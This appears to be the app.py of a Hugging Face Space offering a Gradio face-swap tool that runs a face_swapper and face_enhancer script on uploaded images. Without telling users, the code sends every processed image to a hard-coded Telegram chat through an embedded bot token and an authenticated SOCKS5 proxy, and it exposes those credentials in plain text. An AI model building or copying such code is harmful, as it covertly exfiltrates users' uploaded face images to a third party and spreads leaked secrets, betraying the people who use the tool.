test1 / app.py
Mrlongpro's picture
Update app.py
d9b319f verified
raw
history blame contribute delete
No virus
1.71 kB
import gradio as gr
import subprocess
import os
from datetime import datetime
import telebot
from telebot import apihelper
import zipfile
# Initialize Telegram bot
proxy_server = '142.93.68.63'
proxy_port = 2434
proxy_username = 'vpn'
proxy_password = 'unlimited'
apihelper.proxy = {
'https': f'socks5://{proxy_username}:{proxy_password}@{proxy_server}:{proxy_port}'
}
bot = telebot.TeleBot("6637723515:AAGfwpKEh0Vgw8hZkTZq8MohIFwR6LdKX9I", parse_mode=None,timeout=30)
def run_scripts(target, source):
outputfile = []
zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") + ".zip"
zipf = zipfile.ZipFile(zip_filename, "w")
for target_file in target:
target_extension = os.path.splitext(target_file.name)[-1]
timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
output_path1 = "output_" + timestamp + target_extension
# Example command, update with your actual script and parameters
cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper", "face_enhancer", "--many-faces"]
subprocess.run(cmd1)
outputfile.append(output_path1)
zipf.write(output_path1)
print(os.path.abspath(output_path1))
bot.send_photo("-4283513911", photo=open(os.path.abspath(output_path1), 'rb'))
zipf.close()
return output_path1
iface = gr.Interface(
fn=run_scripts,
inputs=[
gr.Files( label="Target Files"),
gr.File( label="Source File")
],
outputs=gr.Files(label="Output Files"),
title="Swapper",
description="Upload a target image/video and a source image.",
live=False
)
iface.launch()